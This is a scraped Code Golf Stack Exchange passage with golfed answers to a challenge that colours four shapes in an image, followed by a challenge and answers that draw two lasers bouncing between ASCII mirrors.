~~1087~~ 1076 Just to prove to myself that ***I*** can do this. I included imports right next to the function declarations; these would have to be outside the class for this to work: ``` import java.awt.*;import java.awt.image.*;import java.io.*;import java.util.*;import javax.imageio.*; BufferedImage i;Set<Point>Q;void p(String a)throws Exception{i=new BufferedImage(302,302,1);i.getGraphics().drawImage(ImageIO.read(new File(a)),1,1,null);Set<Set<Point>>S=new HashSet<>();for(int y=0;y<300;y++){for(int x=0;x<300;x++){if(!G(x,y)){Point p=new Point(x,y);Q=new HashSet<>();if(!S.stream().anyMatch(s->s.contains(p)))S.add(f(x,y));}}}Object[]o=S.stream().sorted((p,P)->c(p)-c(P)).toArray();s(o[0],255);s(o[1],255<<16);s(o[2],0xFF00);s(o[3],0xFFFF00);ImageIO.write(i.getSubimage(1,1,300,300),"png",new File(a));}boolean G(int x,int y){return i.getRGB(x,y)!=-1;}Set<Point>f(int x,int y){Point p=new Point(x,y);if(!Q.contains(p)&&!G(x,y)){Q.add(p);f(x-1,y);f(x+1,y);f(x,y-1);f(x,y+1);}return Q;}int c(Set<Point>s){return(int)s.stream().filter(p->G(p.x-2,p.y-1)||G(p.x-2,p.y+1)||G(p.x+1,p.y-2)||G(p.x-1,p.y-2)||G(p.x+2,p.y-1)||G(p.x+2,p.y+1)||G(p.x+1,p.y+2)||G(p.x-1,p.y+2)).count();}void s(Object o,int c){((Set<Point>)o).stream().forEach(p->{i.setRGB(p.x,p.y,c);});} ``` Ungolfed (and runnable; ie boilerplate added): ``` import java.awt.Point; import java.awt.image.BufferedImage; import java.io.File; import java.util.HashSet; import java.util.Set; import javax.imageio.ImageIO; public class SquareCircleTriangleGear { public static void main(String[]args){ try { new SquareCircleTriangleGear().p("filepath"); } catch (Exception ex) { } } BufferedImage i; Set<Point>Q; void p(String a)throws Exception{ i = new BufferedImage(302,302,BufferedImage.TYPE_INT_RGB); i.getGraphics().drawImage(ImageIO.read(new File(a)),1,1,null); Set<Set<Point>>set=new HashSet<>(); for(int y=0;y<300;y++){ for(int x = 0;x<300;x++){ if(i.getRGB(x,y)==-1){ Point p = new Point(x,y); Q=new HashSet<>(); if(!set.stream().anyMatch((s)->s.contains(p))){ set.add(fill(x,y)); } } } } Object[]o=set.stream().sorted((p,P)->c(p)-c(P)).toArray(); s(o[0],0x0000FF); s(o[1],0xFF0000); s(o[2],0x00FF00); s(o[3],0xFFFF00); ImageIO.write(i.getSubImage(1,1,300,300), "png", new File(a)); } Set<Point>fill(int x, int y){ Point p=new Point(x,y); if(!Q.contains(p)&&!i.getRGB(x,y)!=-1) { Q.add(p); fill(x-1,y); fill(x+1,y); fill(x,y-1); fill(x,y+1); } return Q; } int c(Set<Point>s){return (int)s.stream().filter(p->isBoundary(p.x,p.y)).count();} boolean isBoundary(int x, int y){ return i.getRGB(x-2,y-1)!=-1||i.getRGB(x-2,y+1)!=-1||i.getRGB(x+1,y-2)!=-1|| i.getRGB(x-1,y-2)!=-1||i.getRGB(x+2,y-1)!=-1||i.getRGB(x+2,y+1)!=-1|| i.getRGB(x+1,y+2)!=-1||i.getRGB(x-1,y+2)!=-1; } void s(Object o,int c){ ((Set<Point>)o).stream().forEach(p->{i.setRGB(p.x,p.y,c);}); } } ``` This works by iterating over every pixel of the image and flood-filling each time we reach a "hole". We add each flood-fill result as a `Set<Point>` to a `Set`. Then we determine which shape is which. This is done by looking at the number of boundary pixels of the shape. I defined boundary as a knight's move away from a black tile, since that would stay more constant between rotations and such. When we do this, it becomes clear that the shapes can be sorted by that value: Circle, Square, Triangle, Gear. So I sort and set all pixels of that shape to the correct color. Note that the image I'm writing to is not directly taken from the file, because if I were to do that, Java would treat the image as black and white and filling with colors wouldn't work. So I have to create my own image with `TYPE_INT_RGB` (which is `1`). Also note that the image I'm doing work on is `302` by `302`; this is so that the Knight's distance algorithm doesn't need to worry about attempting to read out-of-bounds on the image. I fix this discrepancy in size by calling `i.getSubImage(1,1,300,300)`. Note: I may have forgotten to fix this when I uploaded the images, in which cases the images are 2 pixels too wide, but except for this fact, they should be correct The function will overwrite the file whose path is passed in. Outputs: ![enter image description here](https://i.stack.imgur.com/zFLKA.png) ![enter image description here](https://i.stack.imgur.com/DVY87.png) ![enter image description here](https://i.stack.imgur.com/sJKPM.png) ![enter image description here](https://i.stack.imgur.com/4Uvqv.png) [Answer] # Python, ~~571 567~~ 528 bytes Similarly to Quincunx's solution, it starts by flood-filling each shape with an index from 1 to 4. It then determines the identity of the shapes by the radius of their bounding circle. A color-palette is constructed accordingly and the image is saved as an indexed-color image. **EDIT:** Missed the fact the shapes are guaranteed not to touch the image border. Shorter it is, then! ``` from PIL.Image import*;from numpy import* I=open(sys.argv[1]).convert("P") D=list(I.getdata()) W=300;R=range(W*W);N=range(5) O=[[0,i,array([0,0])]for i in N];n=0 for i in R: if D[i]>4: n+=1;S=[i] while S: j=S.pop() if D[j]>4:D[j]=n;O[n][0]+=1;O[n][2]+=j%W,j/W;S+=[j+1,j-1,j+W,j-W] for o in O[1:]:o[2]/=o[0];o[0]=0 for i in R: if D[i]:o=O[D[i]];v=(i%W,i/W)-o[2];o[0]=max(o[0],dot(v,v)) O.sort() C=[0]*5+[255]*3+[0,255,0,0]*2;P=C[:] for i in N:j=3*O[i][1];P[j:j+3]=C[3*i:3*i+3] I.putdata(D);I.putpalette(P);I.save("o.png") ``` Takes an input filename on the command line and writes the output to `o.png`. [Answer] ## J - 246,224 185 bytes ``` load'viewmat' (viewmat~0,(255*4 3$_2|.#:3720)/:/:@(<([:}.(>./%+/%#)@:(+/&:*:@(-"1)+/%#)@(4$.$.@:=)&>)<"0@~.@,))@(~.@,i.])@(>./**@{.)@((0,(,-)#:>:i.3)&|.)^:_@(*i.@:$)@(0<readimg_jqtide_) ``` This was a fun one! I reused the connected-components part I used for the ["Am I in the biggest room" challenge](https://codegolf.stackexchange.com/questions/32015/are-you-in-the-biggest-room/40205#40205), and used the ratio between average and maximum distance of all points to each component's center. I settled for this, as it's both scale and rotation invariant, and apparently good enough to distinguish between the shapes as given. Ranking this value from low to high gives me the order circle, gear, square and triangle, used to permute the colormap. Displays the result using the viewmap addon. No toolboxes used except for file reading and output. Robustness does not seem to be a requirement, this takes off 18 bytes. 2 more unnecessary spaces, replaced `&.>` by `&>` in `ratio` and `&.:` by `&:` in dcent for another 2 bytes. Huge gain in both shortness and performance of `comp` using shifting instead of `cut` (`;.`). This way the image is replicated and shifted in all 8 directions instead of scanning it with a 3x3 window. The `id` function was ridiculously complex for what it needed to do. Now it assigns id's to pixels in objects by multiplying the image with an array of unique numbers, hence setting the BG to zero. Code a bit more explained: ``` load'viewmat' NB. display only imnames =: < ;. _2 (0 : 0) C6IKR.png DLM3y.png F1ZDM.png Oa2O1.png YZfc6.png chJFi.png ) images =: (0<readimg_jqtide_) each imnames NB. read all images in boxed array id =: *i.@:$ NB. NB. assign one number to each non-background (non-zero) pixel comp =: (>./ * *@{.)@shift^:_@id NB. 8 connected neighbor using shift shift =: (>,{,~<0 _1 1)&|. NB. generate the original, and 8 shifted versions (automatically padding and cropping). result =: comp each images NB. Execute comp verb for each image col =: (~.@, i. ]) NB. Color: give each component and BG a separate color. NB. BG in 0, 0 Get all max distance to center % mean distance to center ratios ratio =: (< ([:}.rat@:dcent@getInd &>) <"0@~.@,) getInd =: 4 $. $.@:= NB. get indices for component y in array x dcent =: +/&.:*:@(-"1) +/%# NB. distence from center each point rat =: >./ % +/%# NB. ratio from distances cm=: (255*4 3$_2|.#:3720) NB. colormap (except black). (viewmat~ 0,cm /: /:@ratio )@col each result NB. for each image, show the result, permuting the colormap according to ratio's NB. almostgolf this P1 =: (>./**@{.)@((0,(,-)#:>:i.3)&|.)^:_@(*i.@:$)@(0<readimg_jqtide_) NB. reading till components P2 =: (<([:}.(>./%+/%#)@:(+/&:*:@(-"1)+/%#)@(4$.$.@:=)&>)<"0@~.@,) NB. recognition: get fraction mean vs max distance to center per component, toss BG. P3 =: (viewmat~0,(255*4 3$_2|.#:3720)/:/:@P2)@(~.@,i.])@P1 NB. piece together : permute colormap, display components NB. seriousgolf load'viewmat' f =:(viewmat~0,(255*4 3$_2|.#:3720)/:/:@(<([:}.(>./%+/%#)@:(+/&:*:@(-"1)+/%#)@(4$.$.@:=)&>)<"0@~.@,))@(~.@,i.])@((>./**@{.)@shift^:_)@(*i.@:$)@(0<readimg_jqtide_) NB. example usage: f&> imnames NB. do for all images ``` This one is a bit long to explain in detail, but will do if there is interest. [Answer] # Mathematica 225 --- **Update**: The OP decided that this approach uses computer vision functions, so it's no longer in the running. I'll leave it posted however. Perhaps someone may find it of interest. --- ``` f@i_ := (m = MorphologicalComponents[ImageData@i]; Image@Partition[Flatten[(m)] /. Append[ ReplacePart[SortBy[ComponentMeasurements[m, "Circularity"], Last], {{1, 2} -> Yellow, {2, 2} -> Green, {3, 2} -> Red, {4, 2} -> Blue}], 0 -> Black], Dimensions[m][[2]]]) ``` `ImageData` returns the image as a matrix of 0's and 1's. `Flatten` converts that matrix to a list. `Morphological Components` finds the 4 clusters of pixels and assigns a distinct integer, 1, 2, 3, 4 to each pixel according to the cluster. 0 is reserved for the (black) background. `ComponentMeasurements` tests the circularity of the clusters. From most to least circular will always be: the circle, the square, the triangle, and the gear. `ReplacePart` replaces each component integer with the respective RGB color, using the circularity sort. `Partition...Dimensions[m][[2]]` takes the list of pixel colors, and returns a matrix the same dimensions as the input image. `Image` converts the matrix of pixel colors to a colored image. ![inputs](https://i.stack.imgur.com/si2y1.png) ``` {f[img1],f[img2],f[img3],f[img4]} ``` ![outputs](https://i.stack.imgur.com/lr0HQ.png) [Answer] # Mathematica, ~~354~~ ~~345~~ ~~314~~ ~~291~~ 288 Still golfing, could be shortened by a few more chars, but performance becomes unbearable. Uses the Variance to identify shapes: ``` f=(w=Position[z=ImageData@Import@#,1];r=Nearest;v@x_:=Variance@N[Norm[Mean@x-#]&/@x];Image[Plus@@(ReplacePart[0z/. 0->{0,0,0},#->r[{108,124,196,115}->List@@@{Blue,Red,Green,Yellow},v@#][[1]]]&/@Rest@NestList[(m=r[w=w~Complement~#];FixedPoint[Union@@(m[#,{8,2}]&/@#)&,{#&@@w}])&,{},4])])& ``` With spacing: ``` f = (w = Position[z = ImageData@Import@#, 1]; r = Nearest; v@x_ := Variance@N[Norm[Mean@x - #] & /@ x]; Image[Plus @@ (ReplacePart[ 0 z /. 0 -> {0, 0, 0}, # -> r[{108, 124, 196, 115} -> List @@@ {Blue, Red, Green, Yellow}, v@#][[1]]] & /@ Rest@NestList[(m = r[w = w~ Complement~#]; FixedPoint[Union @@ (m[#, {8, 2}] & /@ #) &, {# & @@ w}]) & , {}, 4])]) & ``` Testing: ``` s = {"https://i.stack.imgur.com/Oa2O1.png", "https://i.stack.imgur.com/C6IKR.png", "https://i.stack.imgur.com/YZfc6.png", "https://i.stack.imgur.com/F1ZDM.png", "https://i.stack.imgur.com/chJFi.png", "https://i.stack.imgur.com/DLM3y.png"}; Partition[f /@ s, 3] // Grid ``` ![Mathematica graphics](https://i.stack.imgur.com/8kjeZ.png) Here it is completely ungolfed. Will add explanations later: ``` findOneZone[{universe_List, lastZone_List}] := Module[{newUniverse, proximityFindFunc, seedElement}, newUniverse = Complement[universe, lastZone]; proximityFindFunc = Nearest@newUniverse; seedElement = {First@newUniverse}; {newUniverse, FixedPoint[Union @@ (proximityFindFunc[#, {8, 2}] & /@ #) &, seedElement]}] colorAssign[zone_List] := Module[{ vlist = {108, 124, 196, 115}, cols = List @@@ {Blue, Red, Green, Yellow}, centerVariance}, centerVariance[x_List] := Variance@N[Norm[Mean@x - #] & /@ x]; First@Nearest[vlist -> cols, centerVariance@zone]] colorRules[zones_List] := (# -> colorAssign[#] & /@ zones) main[urlName_String] := Module[{pixels, FgPixelPositions, rawZones, zones}, pixels = ImageData@Import@urlName; FgPixelPositions = Position[pixels, 1]; (*fill and separate the regions*) rawZones = NestList[findOneZone[#] &, {FgPixelPositions, {}}, 4]; zones = Rest[rawZones][[All, 2]]; (*Identify,colorize and render*) Image@ReplacePart[ConstantArray[{0, 0, 0}, Dimensions@pixels], colorRules[zones]]] s = {"https://i.stack.imgur.com/Oa2O1.png"}; main /@ s ``` [Answer] # Python, ~~579~~ ~~577~~ ~~554~~ ~~514~~ ~~502~~ 501 bytes For each shape, flood-fills it, then compute the distance between the centroid and the farthest point. then the real surface of the shape is compared to the surface of a triangle, square, disc or wheel that would have the same size. ``` import math;from PIL.Image import*;A,R,_,I=abs,range(300),255,open(sys.argv[1]).convert('P');Q=I.load() for j in R: for i in R: if Q[i,j]==_: X,Y,s,z,p=0,0,0,[],[(i,j)] while p: a,b=n=p.pop() if not(Q[n]!=_ or n in z): X+=a;Y+=b;z+=[n];p+=[(a,b-1),(a+1,b),(a,b+1),(a-1,b)];s+=1 r=max([math.hypot(X/s-x,Y/s-y) for x,y in z]);C={1:A(s-(1.4*r)**2),2:A(s-r*r/3),3:A(s-math.pi*r*r),4:A(s-2.5*r*r)} for p in z: Q[p]=min(C,key=C.get) I.putpalette([0,0,0,_]*3+[_,_,0]) I.show() ``` [Answer] **C# 1086 bytes** Yet another floodfill-solution, just for the record since there is no C# version here. Like [Quincunx](https://codegolf.stackexchange.com/a/40806/22846) i wanted to prove myself that I can do it and there is not much differnce to his approach in Java. * This solution does not use any recursion (but a stack) because i kept running into StackOverflows. * The detection of borderpixels is simplified by looking at the 4 next pixels, if any of those is black, the current is a border pixel. It accepts every imageformat. * Parameter 1 = InputPath * Parameter 2 = OutputPath It probably can be stripped down a few charachters by removing all the static stuff and creating an instance of Program. Readable Version: ``` using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.Linq; class Program { static Bitmap img; static int w, h; static ISet<Point> pointsDone = new HashSet<Point>(); static void Main(string[] a) { img = new Bitmap(a[0]); w = img.Width; h = img.Height; Bitmap clone = new Bitmap(w,h, PixelFormat.Format32bppArgb); Graphics.FromImage(clone).DrawImage(img, 0, 0, w, h); img = clone; Color[] colors = new[] { Color.Blue, Color.Red, Color.Green, Color.Yellow }; var shapes = new List<ISet<Tuple<bool, Point>>>(); for(int x=0;x<w;x++) for (int y = 0; y < h; y++) { Point p = new Point(x, y); if (pointsDone.Add(p) && _isWhitePixel(p)) shapes.Add(_detectShape(p)); } int index = 0; foreach (var shp in shapes.OrderBy(shp => shp.Count(item => item.Item1))) { foreach (var pixel in shp) img.SetPixel(pixel.Item2.X, pixel.Item2.Y, colors[index]); index++; } img.Save(a[1]); } private static ISet<Tuple<bool, Point>> _detectShape(Point p) { var todo = new Stack<Point>(new[] { p }); var shape = new HashSet<Tuple<bool, Point>>(); do { p = todo.Pop(); var isBorderPixel = false; foreach (var n in new[] { new Point(p.X + 1, p.Y), new Point(p.X - 1, p.Y), new Point(p.X, p.Y + 1), new Point(p.X, p.Y - 1) }) if (_isWhitePixel(n)) { if (pointsDone.Add(n)) todo.Push(n); } else isBorderPixel = true; // We know we are at the border of the shape shape.Add(Tuple.Create(isBorderPixel, p)); } while (todo.Count > 0); return shape; } static bool _isWhitePixel(Point p) { return img.GetPixel(p.X, p.Y).ToArgb() == Color.White.ToArgb(); } } ``` Golfed: ``` using System;using System.Collections.Generic;using System.Drawing;using System.Drawing.Imaging;using System.Linq;class P{static Bitmap a;static int w,h;static ISet<Point> d=new HashSet<Point>();static void Main(string[] q){a=new Bitmap(q[0]);w=a.Width;h=a.Height;var c=new Bitmap(w,h,PixelFormat.Format32bppArgb);Graphics.FromImage(c).DrawImage(a,0,0,w,h);a=c;var e=new[]{Color.Blue,Color.Red,Color.Green,Color.Yellow};var f=new List<ISet<dynamic>>();for(int x=0;x<w;x++)for(int y=0;y<h;y++){Point p=new Point(x,y);if (d.Add(p)&&v(p))f.Add(u(p));}int i=0;foreach(var s in f.OrderBy(s=>s.Count(item=>item.b))){foreach(var x in s)a.SetPixel(x.p.X,x.p.Y,e[i]);i++;}a.Save(q[1]);}private static ISet<dynamic> u(Point p){var t=new Stack<Point>(new[]{p});var s=new HashSet<dynamic>();do{p=t.Pop();var b=false;foreach(var n in new[]{new Point(p.X+1,p.Y),new Point(p.X-1,p.Y),new Point(p.X,p.Y+1),new Point(p.X,p.Y-1)})if(v(n)){if (d.Add(n))t.Push(n);}else b=true;s.Add(new{b,p});}while (t.Count>0);return s;}static bool v(Point p){return a.GetPixel(p.X,p.Y).ToArgb()==Color.White.ToArgb();}} ``` ]
[Question] [ What if we have a corridor comprised of two parallel mirrors? ``` | | | | | | | | | | | | | | | | | | | | ``` Now, we shine a laser down it... ``` | \ | | \ | | \ | | \ | | \ | | \ | | \ | | \| | /| | / | ``` Oh, look. It bounced, towards the end, there. What if we draw two lasers BUT going in the opposite direction? ``` | \ / | | \ / | | \/ | | /\ | | / \ | | / \ | | / \ | |/ \| |\ /| | \ / | ``` Hmm, they didn't seem to meet, there. That's convenient. What happens if both lasers take up the same space? ``` | \ / | | \ / | | \ / | | X | | / \ | | / \ | | / \ | | / \| |/ /| |\ / | ``` I guess that was pretty obvious, huh? --- Drawing these diagrams by hand is pretty laborious (trust me on this). Perhaps some code could do it for us? * Write some code to output two parallel mirrors, with two bouncing, intersecting lasers. * Input (all integers): + The width of the corridor + The length of the corridor + Starting position of the right-going laser (zero-indexed, must be less than width) + Starting position of the left-going laser (zero-indexed, must be less than width) * Process + If a laser is right going, it will be drawn one space to the right on the following line. + If a laser is left going, it will be drawn one space to the left on the following line. + If a laser can not take it's sideways step, it will change it's direction, but not it's position. + If both laser are at the same index, print an upper-case X at that index. * Output + A string with multiple lines + Each line starts and ends with a pipe character (|) + Right-going laser are denoted by a back slash (\) + Left-going laser are denoted by a forward slash (/) + The intersection of two lasers is denoted by an upper-case X. * Any language * I'd like to see [TIO](https://tio.run/) links * Attempt to fix it in the smallest number of bytes --- # Test cases width: 6 length: 10 right-going: 1 left-going: 4 ``` | \ / | | \/ | | /\ | | / \ | |/ \| |\ /| | \ / | | \/ | | /\ | | / \ | ``` width: 6 length: 10 right-going: 0 left-going: 1 ``` |\/ | |/\ | |\ \ | | \ \ | | \ \ | | \ \| | \/| | /\| | / /| | / / | ``` width: 4 length: 10 right-going: 2 left-going: 0 ``` |/ \ | |\ \| | \ /| | X | | / \| |/ /| |\ / | | X | |/ \ | |\ \| ``` width: 20 length: 5 right-going: 5 left-going: 15 ``` | \ / | | \ / | | \ / | | \ / | | \ / | ``` width: 5 length: 6 right-going: 2 left-going: 2 ``` | X | | / \ | |/ \| |\ /| | \ / | | X | ``` width: 1 length: 2 right-going: 0 left-going: 0 ``` |X| |X| ``` [Answer] # JavaScript (ES6), 149 bytes Takes input in currying syntax `(w)(h)([a,b])`. ``` w=>h=>g=(p,d=[1,-1],s=Array(w).fill` `)=>h--?`|${p=p.map((x,i)=>~(k=d[i],s[x]='/X\\'[x-p[i^1]?k+1:1],x+=k)&&x<w?x:x+(d[i]=-k)),s.join``}| `+g(p,d):'' ``` [Try it online!](https://tio.run/##bc7BToNAEAbge5/CgykzYRdZUnogTolvYbLFLCkFtyC7ASNrrL46Lo03vM43/z9zKT/K8TRo@857U53nmuaJDq90aAgsq0gKxkXBRnoahvITJoxq3XXqTqHf4jxX1/svSzZ6Ky2AY9qPf6ClSmofkq6g4OH5eAyk41bqF1HkbSgyX@hCanG7dY9T7jIXwhIg3iKyMboY3Sv1fd2osFmewCwI5pPpR9Odo840UMMeQcQI/rtdgbj5H2Mm1rj7w4TFa0y8pB5TJtK1etnfksnaBEJyO7m0zr8 "JavaScript (Node.js) – Try It Online") ### Commented ``` w => h => // w = width, h = height g = ( // g = recursive function taking: p, // p[] = array holding the point coordinates d = [1, -1], // d[] = directions s = Array(w).fill` ` // s = array of w spaces (we can't use a string because it's ) => // immutable in JS) h-- ? // if we haven't reached the last row yet: `|${ // append the left pipe p = p.map((x, i) => // for each x at position i in p[]: ~(k = d[i], // k = direction for this point s[x] = '/X\\'[ // insert either '/', 'X' or '\' at position x in s x - p[i ^ 1] ? // if p[0] != p[1]: k + 1 // use the direction : // else: 1 // force 'X' ], x += k // add k to x ) && // if the result is not equal to -1 x < w ? // and is less than w: x // use the current value of x : // else: x + (d[i] = -k) // change the direction and restore the initial value of x ), // end of map() s.join``}|\n` + // join and append s; append the right bar and a linefeed g(p, d) // followed by the result of a recursive call : // else: '' // stop recursion ``` [Answer] # [Stax](https://github.com/tomtheisen/stax), 40 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax) ``` àù@○⌡┼PY¼îαφu^·A☺°É⌠■╟¡Åt^◘v(µ╩Ñ♣t{╓○xß╦ ``` [Run and debug it](https://staxlang.xyz/#p=85974009f5c55059ac8ce0ed755efa4101f890f4fec7ad8f745e087628e6caa505747bd60978e1cb&i=6+[1+4]+10%0A6+[0+1]+10%0A5+[2+2]+6%0A1+[0+0]+2&a=1&m=2) [Try it online!](https://tio.run/##AWEAnv9zdGF4///DoMO5QOKXi@KMoeKUvFBZwrzDrs6xz4Z1XsK3QeKYusKww4nijKDilqDilZ/CocOFdF7il5h2KMK14pWpw5HimaN0e@KVk@KXi3jDn@KVpv//NSBbMiAyXSA2 "Stax – Try It Online") Pretty sure this can be further golfed. Input is given in the form of `width [right-going left-going] length`(per comment by @EngineerToast). ASCII equivalent: ``` xHXdmzx);hi+x%Y92&;Hi-x%cy=41*47+&2ME:R\{|+m'||S ``` [Answer] # [Python 2](https://docs.python.org/2/), 119 bytes ``` w,l,a,b=input() exec"print'|%s|'%''.join(' \/X'[sum(i==k%(2*w)for k in[a,~b]+[~a,b]*2)]for i in range(w));a+=1;b-=1;"*l ``` [Try it online!](https://tio.run/##NY7bCoMwDIbvfYpSkLbaHVrUi4nvMXBe6HCz01WpihuIr@5SZZDTlz8k6b5D1Wq5TpVqSiQu5ae8I4MxXife8JwXidLdOFDmWAV3RumBzG4/E5eQ46tVmhJ0O11J2o9vqpKkdqn0JvZoDaqR0mnOlyLz0wVWZZ5kmRUUCMjk@lnSibE49xMRFwcI2GvW7YRjP6ARR@IMzlHAnD/ZBlCwk4QGkIQy3EyEgJCjTZMAYp@ygz8 "Python 2 – Try It Online") [Answer] # [Python 2](https://docs.python.org/2/), 168 bytes ``` w,n,r,l=input() R=L=1 exec""" d=[~r*R,-~l*L].count print'|%s|'%''.join(' /\X'[2*d(~x)|d(x+1)]for x in range(w)) if-1<r+R<w:r+=R else:R=-R if-1<l-L<w:l-=L else:L=-L"""*n ``` [Try it online!](https://tio.run/##Jc7BCoMgHIDxu08RQailjTbYIfINPHkatA6jbHPI3zCjBtGrtyD4br/LN/zCx8F132cGzDMrDAxTIBQpIUWB9KLbOI5RJ@rNp4rxzaayyVs3QUCDNxDwmowrTjDOv84AwdHl@cD1Ne3IttC1I0tW0KZ3PloiA5F/wVuTmVJkel5UPlPVXPpMKKTtqEsluDrFcnmI5UKeIgWXx0gK@35nxRG7/QE "Python 2 – Try It Online") [Answer] # [Python 2](https://docs.python.org/2/), ~~187~~ ~~181~~ ~~179~~ ~~177~~ ~~174~~ ~~172~~ 171 bytes ``` def f(w,l,a,b,A=1,B=-1): while l:l-=1;print'|%s|'%''.join(' \X/'[[0,A,B,2][(i==a)+2*(i==b)]]for i in range(w));a,A=[a,a+A,-A,A][-1<a+A<w::2];b,B=[b,b+B,-B,B][-1<b+B<w::2] ``` [Try it online!](https://tio.run/##RY5BasMwFET3PoU2QVI9Ti0RZ2FHC@kUBVULidqJipGDGzCB3N1V0oKZzZ83A/Ov99tlSnJdv/qBDGzBCI8ArQSMqgRvC7Jc4tiTsR0rJbrrHNONPnY/D7qjdP89xcQo@fx4p9bW0DCQzrKolOelfHsegTs3TDOJJCYy@3Tu2cJ55/OG9fClRqWhna3EKZvT0rbSdSGv24BQGlQG5pVm85euAztC1BA48OL1UPFPMtvI4Ukk6o3IGk2WaDbU4Jg7kq@/ "Python 2 – Try It Online") --- Recursive: # [Python 2](https://docs.python.org/2/), 172 bytes ``` def f(w,l,a,b,A=1,B=-1): if not-1<a<w:A=-A;a+=A if not-1<b<w:B=-B;b+=B if l:print'|%s|'%''.join(' \X/'[[0,A,B,2][(i==a)+2*(i==b)]]for i in range(w));f(w,l-1,a+A,b+B,A,B) ``` [Try it online!](https://tio.run/##Tc7RCoIwFAbge59iN7GtHcuN7ELdxfYUgXmxUatFTDFBgt7dpgTGuTl8/D/ndO/h3gYxTZerQ46M8AQDFpTkoGXKaZEg71Boh5RXphoLJVNVGibVn9voMaxLy6Re/Fl0vQ8D/mxeH7zBePdofSAYnU97XNcZKNAgmpp4KQ1lYjsvljaNa3vkkQ@oN@F2JSOl5fJTysEwBZbpuUonR47AM@BwoMlyKflJtFUOswjIVhEZ5HF4vlIOx5gRdPoC "Python 2 – Try It Online") --- Recursive, alternative print: # [Python 2](https://docs.python.org/2/), 172 bytes ``` def f(w,l,a,b,A=1,B=-1): if not-1<a<w:A=-A;a+=A if not-1<b<w:B=-B;b+=B if l:L=[' ']*w;L[a]=' \/'[A];L[b]=[' \/'[B],'X'][a==b];print'|%s|'%''.join(L);f(w,l-1,a+A,b+B,A,B) ``` [Try it online!](https://tio.run/##Tc7BCoJAEAbgu0@xlxg3x3IlO7jNYffsAwS2h11KMkSlBAl6d1slMOb0f/MPTP8e7l2bTtP1VrEqHLFBiw4VCdQUC54HrK5Y2w2xONnTmCuKlbQRqT933n1ZSxeRXrzJCyqBgdmOsiitIWCXPZTK@OTMvJqjNghnMKUlckb2z7od4LN5fWADsHt0dRsWXC4/xQJtpNBFGhVqPlXhEUWCAg88WO6Cn3hb5TBLiskqaYKZH5GtlOHRd1I@fQE "Python 2 – Try It Online") [Answer] # [C (clang)](http://clang.llvm.org/), ~~240~~ ~~236~~ 208 bytes ``` #define g(a,b) b?a++,a==x&&(a=x-1,b=0):a--,a==-1&&(a=0,b=1) i,m,n,o,p,t[]={47,92};f(x,y,r,l){for(m=1,n=0;y--;puts("|"),g(r,m),g(l,n))for(printf("|"),i=0;i<x;o=i==r,p=i++==l,putchar(o*p?88:o?t[m]:p?t[n]:32));} ``` [Try it online!](https://tio.run/##XZDfboIwFIfveYoGM9OO00mZOkc980E2LyoINoFCKiYY57OzdmzLQnvxpd85/fVPxrNKmXKYaZNVl/xItucu183T6S34r6w2pXfDLD8W2hxJSRUcGDnsVBSBQuznc6qw5wIOGLNUce4tF986dlKwQEMNBhpooXvf4235Aq/JXRa0hytYqNitaCytUYDBWF45l@2lO9PwM2RQUgu1RwWGMd/Xuit1xVjVrl9ve9mgRrTQoo4ixArc/uykLG0e291mkza77r3ep62D2afPCWPyPrgUUittKCO3oKBrEDEIWDJJxtNDJn@1K0z00usE4olOYli5KaYpK1i77mRihU@YZNyDxYK48fdKv@hT8pADuY6wI6oR9Qjj8WFCID@f6r/c5QXDFw "C (clang) – Try It Online") f() takes parameters as follows: `x` = width, `y` = length, `r` = Initially right-going line starting position `l` = Initially left-going-line starting position -4 Bytes. credits Kevin Cruijssen. Thanks [Answer] # [Canvas](https://github.com/dzaima/Canvas), ~~66~~ 40 [bytes](https://github.com/dzaima/Canvas/blob/master/files/chartable.md) ``` {²Xø⁶╵[⁷/²2%[↔}∔};x╷?⁷∔⁷+╷}[j}}n⁶[|PJp|p ``` [Try it here!](https://dzaima.github.io/Canvas/?u=JXVGRjVCJUIyJXVGRjM4JUY4JXUyMDc2JXUyNTc1JXVGRjNCJXUyMDc3JXVGRjBGJUIyJXVGRjEyJXVGRjA1JXVGRjNCJXUyMTk0JXVGRjVEJXUyMjE0JXVGRjVEJXVGRjFCJXVGRjU4JXUyNTc3JXVGRjFGJXUyMDc3JXUyMjE0JXUyMDc3JXVGRjBCJXUyNTc3JXVGRjVEJXVGRjNCJXVGRjRBJXVGRjVEJXVGRjVEJXVGRjRFJXUyMDc2JXVGRjNCJTdDJXVGRjMwJXVGRjJBJXVGRjUwJTdDJXVGRjUw,i=JTVCMiUyQzAlNUQlMEE0JTBBMTA_,v=2) [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), ~~56~~ 50 bytes ``` ↷PIθM⊕η→IθF²«J⊕⎇ιεζ⁰FIθ«✳§⟦↘↙⟧ι∨⁼KKψX¿⁼KK|«¿ι→←≦¬ι ``` [Try it online!](https://tio.run/##XY9RS8MwFIWf019x6dMNVKjDp/k0nA8Tp0X2IIgPobtdL3ZJl6TVqfvtNemm4CCB8J2cc@4ta2VLo5phKLg3/ok3tUd5nSy7xnNrWXu8Uc7jTkZoesKFLi1tSXtaYy0zmI6eoBZnvytjAScSvhJx123blflnXZHVyu6RM6AMPmVIyoNJjK7fkOgVx9w5Wyo9G40zv9Br@sCX6dy867E9TBHf91T51ww4hj1avN11qnFYEL1hIPtw0@c0jiYEV3Cup9/pqXFUWcK4799@gVPj6ERj1xEuVTtzjjcaH4yP7ZEeknAOw3CZwxVMIB8u@uYH "Charcoal – Try It Online") Link is to verbose version of code. Edit: Saved 6 bytes by reducing reliance on pivoting. Explanation: ``` ↷PIθM⊕η→Iθ ``` Print the sides. ``` F²« ``` Loop over the two lasers. ``` J⊕⎇ιεζ⁰ ``` Move to the start of the laser. ``` FIθ« ``` Loop over the height. ``` ✳§⟦↘↙⟧ι∨⁼KKψX ``` Draw a `\` or `/` in the appropriate direction, unless the square is not empty, in which case draw an `X`. ``` ¿⁼KK|« ``` Have we hit a side? ``` ¿ι→←≦¬ι ``` If so then take one step sideways and invert the direction of travel. [Answer] # [Java (JDK 10)](http://jdk.java.net/), 186 bytes ``` (w,h,r,l)->{var x="";for(int i=0,j,R=1,L=-1;i++<h;l+=L,l+=l<0|l>=w?L=-L:0,r+=R,r+=r<0|r>=w?R=-R:0,x+="|\n")for(j=0,x+="|";j<w;j++)x+="/X\\ ".charAt(j==r?j==l?1:R+1:j==l?L+1:3);return x;} ``` [Try it 